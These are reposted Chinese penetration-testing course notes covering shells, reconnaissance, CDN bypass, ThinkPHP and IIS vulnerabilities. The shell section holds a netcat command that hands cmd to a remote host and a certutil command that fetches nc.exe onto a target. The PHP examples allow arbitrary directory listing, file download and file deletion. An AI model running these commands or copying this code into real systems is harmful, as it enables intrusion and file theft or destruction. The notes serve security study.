小迪安全v2023筆記 1-18

小迪安全v2023筆記 1-18

棱角社區

文章目錄

    • 1. 基礎入門
      • 1. 正向shell與反向shell
      • 2. web應用
      • 3. 抓包,封包,協議,app,小程序,pc應用,web應用
    • 2. 信息打點
      • 1. 常見信息獲取
      • 2. 文件泄露
      • 3. 常見阻礙
      • 4. CDN繞過,漏洞回鏈
      • 5. app抓包,封包,xp框架,反編譯
      • 6. 紅隊工具篇
    • 3. php應用
      • 1. 文件操作
      • 2. js中的ajax請求
      • 3. thinkphp框架
        • 1. 下載安裝與基本使用
        • 2. 新建控制器
        • 3. 新建模塊
        • 4. 數據庫操作
        • 5. thinkphp查看漏洞
    • 4.asp,IIS(過時)

1. 基礎入門

POC:proof of concept,概念驗證代碼,用來證明漏洞存在。

EXP:exploit,利用漏洞進行攻擊的動作。

Payload:有效載荷,指的是成功執行payload后,真正在目標系統執行的代碼或指令。

Shellcode:shell代碼,是payload的一種,由于其建立正向shell/反向shell而得名。

1. 正向shell與反向shell

防火墻出站寬松,入站嚴,入站一般要關防火墻。

b去連接a,對于a來說是入站,為反向shell。

a去連接b,對于a來說是出站,為正向shell。

a去連接b

b作為服務器監聽

nc -lvvp 5566

a連接到服務器并完成正向shell

nc -e cmd 192.168.10.8 5566

有時候要讓靶機執行命令,下載一個nc.exe。(目的文件名n.exe)

certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe

在這里插入圖片描述

虛擬機連接主機,主機可以執行dir查看虛擬機目錄。

2. web應用

開發語言

程序源碼:應用類型分類,開源cms分類(比如wordpress),開發框架分類等。

中間件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。

數據庫:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。

第三方軟件:phpmyadmin,vs-ftpd,vnc,elk,openssh

常見漏洞:rce遠程命令執行,xss跨站,csrf/ssrf/crlf,反序列化,越權,未授權訪問,xxe/xml,sql。

3. 抓包,封包,協議,app,小程序,pc應用,web應用

安裝雷電模擬器

app有web協議&小程序&pc抓包http/s數據-charles,fidder,burpsuite

程序進程&網絡接口&其他協議-wireshark,科來網絡分析系統、TCPDump(linux)。

通訊類應用封包分析發送接收-wpe四件套封包(apk->ccproxy->wpe監控cc進程)

需要給瀏覽器安裝工具證書

封包能精確到每個操作的數據包。

2. 信息打點

www.baidu.com

頂級域名(一級域名):com

二級域名:baidu

三級域名:www

1. 常見信息獲取

icp備案查詢

查網站搭建(cms識別):云悉指紋

數據庫常見端口

mysql 3306

mssql 1433

oracle 1521

redis 6379

sql server 1433

mongoDB 27017

操作系統

大小寫:linux對大小寫敏感

TTL值:ping 127.0.0.1

  1. Windows NT/2000:TTL值為128。
  2. Windows 95/98:TTL值為32。
  3. UNIX:TTL值為255。
  4. Linux:TTL值為64。
  5. Windows 7:TTL值也為64。

2. 文件泄露

git泄露:githack

python githack.py http://127.0.0.1:80/.git/

svn泄露:svnhack

git clone https://github.com/callmefeifei/SvnHack.git 克隆到當前目錄

python svnhack.py -u http://127.0.0.1:80/.svn/entries --download

ds_store 文件泄露

漏洞利用工具:ds_store_exp

python ds_store_exp.py http://127.0.0.1:80/.DS_Store

php的composer.json泄露

/composer.json

3. 常見阻礙

站庫分離:網站與數據庫分離,數據庫為遠程數據庫

CDN加速:CDN加速通過在全球各地分布的服務器網絡上存儲網站、應用程序和媒體文件的副本來實現加速效果。當用戶請求訪問某個網站或應用程序時,CDN會根據用戶的地理位置和網絡條件,將內容從離用戶最近的服務器上提供,從而減少了延遲和加載時間。

負載均衡:分攤到多個操作單元上進行執行,可能拿到備用機的權限。

WAF應用防火墻:WAF檢查每一個傳入的數據包的內容來檢測SQL注入、跨站點腳本、會話劫持、篡改參數或URL等類型的攻擊。

主機防護防火墻:比如服務器安全狗。

CDN:內容分發網絡。其基本思路是盡可能避開互聯網上有可能影響數據傳輸速度和穩定性的瓶頸和環節,使內容傳輸得更快、更穩定。

4. CDN繞過,漏洞回鏈

傳統訪問:用戶訪問域名->解析服務器IP->訪問目標主機

普通CDN:用戶訪問域名->CDN節點->真實服務器I->訪問目標主機

帶WAF的CDN:用戶訪問域名->CDN節點(WAF)->真實服務器IP->訪問目標主機

CDN配置:

加速域名:需要啟動加速的域名

加速區域:需要啟動加速的地區

加速類型:需要啟動加速的資源

nslookup baidu.com 多個ip

不同地方ping的ip不同

CDN繞過

服務器存在ssrf漏洞,會向你的網站發起請求,你的網站會記錄訪問的真實ip。

子域名沒有cdn加速:比如只加速了www.xxx.com,test.xxx.com沒加速。使用超級ping會發現子域名指向同一個ip。查sp910.com發現IP同一個。

接口查詢國外訪問:國外沒cdn加速。

mx記錄(郵件交換記錄)或郵件沒有cdn加速

主動郵件配合備案

常用網站

get-site-ip.com 不準確

備案查詢

https://ping.chinaz.com/

常用工具

fuckcdn

通過本機的cmd獲取本地訪問該域名的ip地址并寫入工具中,端口為80

CDN綁定

windows\system32\drivers\etc\hosts 域名指向修改文件

5. app抓包,封包,xp框架,反編譯

外在抓包:比如burpsuite,fiddler等。

內在提取:源代碼中提取。

appinfoscanner:對app里的url,ip地址,關鍵字進行采集

python3 app.py andriod -i ./test.apk

查殼工具:pkid

脫殼工具

andriod:xposed模塊:dexdump,frida模塊:frida-dexdump

ios:

? frida模塊:

? windows使用:frida-ipa-dump

? macOS使用:frida-ios-dump

6. 紅隊工具篇

fofa .so

shodan search engine

zoomeye.org 知道創宇

https://quake.360.net/quake/#/index

自動化項目

http://github.com/knownsec/Kunyu

https://github.com/0x727/ShuiZe_0x727

https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 燈塔arl

單點項目

子域名 oneforall

企查查 enscan

指紋識別 finger

3. php應用

默認之前使用過phpstudy編寫搭建網站。

1. 文件操作

php超級全局變量$_FILES

$_FILES["表單值"]["name"] 獲取上傳文件原始名稱
$_FILES["表單值"]["type"] 獲取上傳文件MIME類型
$_FILES["表單值"]["size"] 獲取上傳文件字節單位大小
$_FILES["表單值"]["tmp_name"] 獲取上傳的臨時副本文件名
$_FILES["表單值"]["error"] 獲取上傳時發生的錯誤代碼

php目錄訪問

is_dir() 函數用于檢查指定的路徑是否是一個目錄
opendir() 函數用于打開指定的目錄,返回句柄,用來讀取目錄中的文件和子目錄
readdir() 函數用于從打開的目錄句柄中讀取目錄中的文件和子目錄
open_basedir:PHP.INI中的設置用來控制腳本程序訪問目錄
ini_set('open_basedir',__DIR__); 設置配置文件中,只能訪問本目錄

文件顯示

<?php
// 獲取路徑參數,如果未提供則默認為當前目錄
$path = $_GET['path'] ? $_GET['path']: './';// 定義獲取文件列表的函數
function getlist($path){$hd=opendir($path);$list=array();while(($file_name=readdir($hd))!==False){// 排除當前目錄和父目錄if ($file_name != '.' && $file_name != '..') {$file_path="$path/$file_name";// 構建文件完整路徑$file_type=filetype($file_path);//$file_type為file或dir$list[$file_type][]=array('file_name' =>$file_name,          // 文件名存儲鍵值'file_path' => $file_path,          // 文件路徑存儲鍵值'file_size' => round(filesize($file_path) / 1024),  // 通過換算文件大小存儲鍵值'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 獲取文件時間并存儲鍵值);}}// 關閉目錄句柄closedir($hd);// 返回文件列表數組return $list;
}// 調用函數獲取文件列表
$list = getlist($path);
print_r($list) ;
?>

文件上傳+保存

jkloli目錄

? index.html

? index.php

? test.php

index.html

<!DOCTYPE html>
<head><meta charset="utf-8"><title>文件上傳</title>
</head>
<body><form method="POST" action="test.php" enctype="multipart/form-data"><label for="file"><input type="file" name='file' id='file' accept=".txt"><br><input type="submit" value="上傳文件"></form>
</body>

index.php

<?php
include_once('index.html');

test.php

php pathinfo函數

  • PATHINFO_DIRNAME: 目錄路徑

  • PATHINFO_BASENAME: 文件名,包含擴展名

  • PATHINFO_EXTENSION: 文件后綴名

  • PATHINFO_FILENAME: 不包含后綴的文件名

<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){mkdir($uploadDir);//創建目錄
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){$name=basename($_FILES['file']['name']);//basename去掉文件名前的路徑$tmpname=$_FILES['file']['tmp_name'];$ext=pathinfo($name,PATHINFO_EXTENSION);//獲取擴展名if(in_array($ext,['txt','md'])){if(move_uploaded_file($tmpname,$uploadDir."/$name")){echo"<script>alert('上傳成功')</script>" ;}else{echo "上傳失敗";}}else{echo '文件類型不符合';}
}else{echo"沒有上傳";
}

文件下載與刪除

通過修改http頭實現

<?php
// 接受方法 判斷是怎么操作
switch ($action){case 'del':unlink($file);// 如果操作為刪除,則調用unlink函數刪除指定文件break;case 'down':header("Content-Type: application/octet-stream");// 設置響應內容的類型為二進制流,告知瀏覽器這是一個文件下載header("Content-Disposition: attachment; filename=\"" .$file."\"");// 設置瀏覽器提示下載,并指定下載文件的名稱(使用 $file 變量)header("Content-Length: " . filesize($file));// 設置響應內容的長度為文件大小,告知瀏覽器文件的實際大小readfile($file);// 讀取并輸出文件內容,將文件內容發送給瀏覽器break;
}
?>

2. js中的ajax請求

? AJAX 技術通過在后臺發送異步 HTTP 請求并接收響應,使得用戶能夠在不刷新整個頁面的情況下獲取更新后的數據。

js jquery庫的ajax請求

請求->返回->讀取返回的數據->js ajax代碼進行解析->結果

php

請求->返回->返回結果

使用phpstudy搭建網站

在這里插入圖片描述

test.php作為后端

<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {if($_POST['name']=="張三"&&$_POST['age']=9000){echo json_encode(array("code"=>200,"infocode"=>1));}else{echo json_encode(array("code"=>200,"infocode"=>0));}}

index.html作為前端

<!DOCTYPE html>
<head><meta charset="utf-8"><title>jquery test</title><script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body><script>$(document).ready(function() { // 確保DOM加載完成后再綁定事件$("button").on("click",function(){// 綁定button的點擊事件$.ajax({type:"POST",url:"test.php",//localhost:80/jkloli/test.phpdataType:"json",data:{name:$('.name').val(),//使用類選擇器獲取輸入框的值age:$('.age').val()},success:function(res){if(res.infocode==1){alert("驗證成功");}else{alert("驗證失敗");}},error:function(jqXHR, textStatus, errorThrown){// 構建錯誤信息字符串  alert("失敗: " + textStatus + ", " + errorThrown);}})});});</script><label for="name">name:</label><input type="text" id="name" class="name"><label for="age">age:</label><input type="text" id="age" class="age"><button>提交</button>
</body>

在這里插入圖片描述

失敗彈窗

失敗: parsererror, SyntaxError: Unexpected end of JSON input

3. thinkphp框架

1. 下載安裝與基本使用

在WWW目錄下下載thinkphp框架

git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp

thinkphp5.1對應php5.6

在這里插入圖片描述

下面我們來看看它的結構

在這里插入圖片描述

下面來訪問一下sorry函數

在這里插入圖片描述在這里插入圖片描述

它的url結構:http://serverName/index.php/模塊/控制器/操作/[參數名/參數值...]

2. 新建控制器

在application/index/controller下新建cc.php

訪問url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi

<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller 
{public function sayhi(){return 'hi';}
}
3. 新建模塊

將index/controller下的index.php復制到jkloli/controller目錄里

修改命名空間為namespace app\jkloli\controller;

jkloli/controller目錄下新建Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller 
{public function cllsse(){echo 'cllsse';}
}

thinkphp很不穩定,路徑有時候可以訪問有時候不能訪問。不能訪問時,把phpstudy關了,過一會再開試試。

在這里插入圖片描述

4. 數據庫操作

我用的是mysql8.0

首先在navicat中修改root用戶的插件為mysql_native_password,然后重新輸入密碼。

然后設置mysql的默認字符集為老版本的utf8,具體操作如下:

  • 打開C:\Program Files\MySQL\MySQL Server 8.0\my.ini
  • [mysqld]
    character-set-server = utf8
    default_authentication_plugin= mysql_native_password
  • 打開計算機管理,找到mysql80,關閉重啟。若重啟失敗,嘗試netstat -ano |findstr :3306查看端口占用,taskkill /pid xxx -f。若端口沒被占用則是my.ini的問題。

thinkphp開調試模式:/config/app.php里app_debug改為true。

找到/config/database.php,修改數據庫配置信息。

修改Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller 
{public function cllsse(){echo 'cllsse';}public function ss(){if(input('?get.id')&&input('?get.username')){//檢查參數是否存在$id=input('get.id');$username=input('get.username');$data = db('t_user')->where("id",'=',$id)->where("username",'=',$username)<>不等于,exp表達式->select();print_r($data);}else{echo "請使用get請求:?id=xx&username=xx";}}
}

在這里插入圖片描述

5. thinkphp查看漏洞

thinkphp看版本->看報錯頁面,看THINK_VERSION全局變量,看url地址構造

?m=Home&c=Index&a=func1

m模塊,c控制器,a方法

然后通過版本找歷史漏洞

https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file

4.asp,IIS(過時)

ACCESS數據庫無管理帳號密碼,頂級架構為表名,列名(字段),數據,所以在注入猜解中一般采用字典猜解表和列再獲取數據,猜解簡單但又可能出現猜解不到的情況,由于Access數據庫在當前安全發展中已很少存在,故直接使用SQLMAP注入。

IIS短文件名漏洞

此漏洞實際是由HTTP請求中舊DOS 8.3名稱約定(SFN)的代字符(~)波浪號引起的。它允許遠程攻擊者在Web根目錄下公開文件和文件夾名稱(不應該可被訪問)。攻擊者可以找到通常無法從外部直接訪問的重要文件,并獲取有關應用程序基礎結構的信息。

利用工具:

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析

IIS 6 解析漏洞

  1. 該版本默認會將*.asp;.jpg 此種格式的文件名,當成Asp解析
  2. 該版本默認會將*.asp/目錄下的所有文件當成Asp解析。
  3. 如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一個文件路徑(/xx.jpg)后面加上/xx.php會將/xx.jpg/xx.php 解析為php文件
  2. 應用場景:配合文件上傳獲取Webshell

IIS寫權限漏洞

IIS<=6.0 目錄權限開啟寫入,開啟WebDAV,設置為允許

參考利用:https://cloud.tencent.com/developer/article/2050105

http options請求獲取服務器允許的 http 方法

put請求向服務器添加文件

move請求將文件改名

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/35412.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/35412.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/35412.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java中線程的狀態轉換有什么(生命周期)

在Java中&#xff0c;線程的生命周期由六種主要狀態構成&#xff0c;每種狀態都有其特定的轉換條件。以下是Java線程的生命周期狀態及其轉換條件&#xff1a; 線程狀態 新建&#xff08;NEW&#xff09;&#xff1a; 線程對象已經創建&#xff0c;但尚未調用start()方法。 Thr…

Stable Diffusion——SDXL 1.0原理解析

1. SDXL 1.0 簡介 SDXL 1.0是Stability AI推出的新基礎模型&#xff0c;作為Stable Diffusion的大幅改進版本&#xff0c;它是一個用于文本到圖像合成的潛在擴散模型&#xff08;LDM&#xff09;。作為Stable Diffusion的最新進化&#xff0c;它正在超越其前身&#xff0c;并與…

錄制視頻怎么操作?手把手教會你!

在這個互聯網科技高速發展的時代&#xff0c;錄制視頻已經成為了人們生活中一個不可或缺的技能。無論是記錄游戲精彩瞬間、制作教程、分享生活趣事&#xff0c;還是進行在線教學&#xff0c;錄制視頻都是一種非常直觀有效的方式。可是錄制視頻怎么操作呢&#xff1f;本文將介紹…

駐馬店建筑工程設計資質變更操作要點

150資質變更操作要點&#xff1a; 3806變更原因&#xff1a;若因企業重組、合并、分立、跨省變更等原因導致企業名稱、法定代表人、注冊地址、經濟性質、注冊資本、經營范圍等發生變動&#xff0c;應及時申請資質變更。 1686 變更申請&#xff1a;提交資質變更申請書及…

算法學習筆記——單雙鏈表及其反轉—堆棧詮釋

單雙鏈表及其反轉——堆棧詮釋 按值傳遞 int、long、byte、short、char、float、double、boolean和String 都是按值傳遞 概念&#xff1a;在方法被調用時&#xff0c;實參通過形參把它的內容副本傳入方法內部&#xff0c;此時形參接收到的內容是實參值的一個拷貝&#xff0c;…

Makefile中eval函數的用法

Makefile中eval函數的用法 一&#xff0c;eval函數的使用方法&#xff1a;二&#xff0c;eval函數的優勢 一&#xff0c;eval函數的使用方法&#xff1a; 在Makefile中&#xff0c;eval 函數的作用是用來動態地執行Makefile中的命令或賦值操作。它的基本語法如下&#xff1a; …

Spring MVC數據綁定和響應——簡單數據綁定(三)POJO綁定

一、POJO數據綁定的使用場景 在使用簡單數據類型綁定時&#xff0c;可以很容易的根據具體需求來定義方法中的形參類型和個數&#xff0c;然而在實際應用中&#xff0c;客戶端請求可能會傳遞多個不同類型的參數數據&#xff0c;如果還使用簡單數據類型進行綁定&#xff0c;那么就…

adb shell執行定時2小時命令

在Android設備上使用adb shell來執行一個定時2小時后運行的命令并不直接支持&#xff0c;因為adb shell是即時執行shell命令的工具&#xff0c;不支持內置的定時任務功能。但是&#xff0c;你可以通過幾種方法來實現類似的功能&#xff1a; 方法一&#xff1a;使用sleep命令 …

dbeaver數據庫鏈接工具

1、下載dbeaver 一個綠色版一個安裝版&#xff0c;官網開源版 2、安裝 3、可以導入之前navicat的鏈接 導入 選擇navicat 反編譯密碼的&#xff1a;https://tool.lu/coderunner navicat 版本15的密碼解密&#xff1a;https://www.iatodo.com/navicatpw

css動畫自定義動畫間隔時間

function playAnimation(element) {var animationName rubberBand;var duration 2000; // 動畫持續時間&#xff0c;單位為毫秒element.style.animation ${animationName} 1s ease;element.addEventListener(animationend, function() {// 動畫結束后重置樣式&#xff0c;以…

服務運營 | MS文章精選:線上點單,當真免排隊?餐飲零售與醫療場景中的全渠道運營

編者按&#xff1a; 小A走進了一家奶茶店&#xff0c;準備向店員點單&#xff0c;但卻在屏幕上看到還有98杯奶茶待制作&#xff08;因為線上訂單突然暴增&#xff09;。因此&#xff0c;小A不滿地嘟囔著離開了奶茶店。這個例子展示了線上渠道可能會對線下渠道造成一些負面影響…

使用AES,前端加密,后端解密,spring工具類了

學習python的時候&#xff0c;看到很多會對參數進行加密&#xff0c;于是好奇心驅使下&#xff0c;讓我去了解了下AES加密如何在java中實現。 首先 npm install crypto-js 然后在你的方法中&#xff0c;給你們前端源碼看看&#xff0c;因為我用的ruoyi框架做的實驗&#xff…

四川音盛佳云電子商務有限公司抖音電商的先行者

在當今數字時代&#xff0c;電商行業風起云涌&#xff0c;各大平臺競相爭奪市場份額。而在這其中&#xff0c;四川音盛佳云電子商務有限公司以其獨特的抖音電商服務模式&#xff0c;悄然崛起&#xff0c;成為了行業中的一股不可忽視的力量。今天&#xff0c;就讓我們一起走進音…

【GD32F303紅楓派使用手冊】第二十六節 EXMC-液晶驅動實驗

26.1 實驗內容 通過本實驗主要學習以下內容&#xff1a; LCD顯示原理 EXMC NOR/SRAM模式時序和8080并口時序 LCD顯示控制 26.2 實驗原理 使用MCU的EXMC外設實現8080并口時序&#xff0c;和TFT-LCD控制器進行通信&#xff0c;控制LCD顯示圖片、字符、色塊等。 26.2.1 TFT…

圖像超分辨率重建

一、什么是圖像超分辨 圖像超分辨是一種技術&#xff0c;旨在通過硬件或軟件的方法提高原有圖像的分辨率。這一過程涉及從一系列低分辨率的圖像中獲取一幅高分辨率的圖像&#xff0c;實現了時間分辨率向空間分辨率的轉換。超分辨率重建的核心思想是利用多幀圖像序列的時間帶寬來…

計算機畢業設計Thinkphp/Laravel學生考勤管理系統zyoqy

管理員登錄學生考勤管理系統后&#xff0c;可以對首頁、個人中心、公告信息管理、年級管理、專業管理、班級管理、學生管理、教師管理、課程信息管理、學生選課管理、課程簽到管理、請假申請管理、銷假申請管理等功能進行相應操作&#xff0c;如圖5-2所示。學生登錄進入學生考勤…

金蝶云蒼穹考試題目大全

前言 受不了某些地方看個答案還要收費&#xff0c;總結多份試卷 題目有重復&#xff0c;關鍵字檢索即可 試卷一 金蝶云蒼穹考試題目大全 單選題 開發知識錯題反饋1.0分 1.關于編碼規則的適用范圍說法錯誤的是 A.單據沒有設置主業務組織的情況下&#xff0c;則校驗用戶當前登…

【Spine學習16】之 人物面部綁定

1、創建頭部骨骼 一根頭骨 以頭骨為父結點創建一個面部控制器face-holder 2、創建頭發和face面部控制結點的變換約束 左右頭發的約束指向為face結點 3、設定后發的變換約束&#xff0c;約束指向為face結點&#xff0c;反方向移動 設置參數為-100 同理&#xff0c;耳朵也依…

C# 中的 App.manifest 文件:優化應用程序配置與權限管理

前言 在開發 C# 應用程序時&#xff0c;可能會忽略一個重要的文件——App.manifest。這個文件看似不起眼&#xff0c;卻在應用程序的運行和用戶體驗上扮演著關鍵角色。了解和正確配置 App.manifest 文件&#xff0c;不僅可以確保應用程序在不同操作系統上的兼容性&#xff0c;…

解決uniapp,textarea拉起頁面被頂起和鍵盤被輸入框遮擋的問題。

1&#xff1a;Android、ios 同時解決&#xff1b; 2&#xff1a;我們在開發的時候會發現textarea或者input拉起鍵盤的時候整個頁面被頂起了&#xff0c;header也被頂沒了&#xff1b;官方給了:adjustPositionfalse屬性&#xff0c;設置完之后頁面就不會被頂起&#xff0c;但是…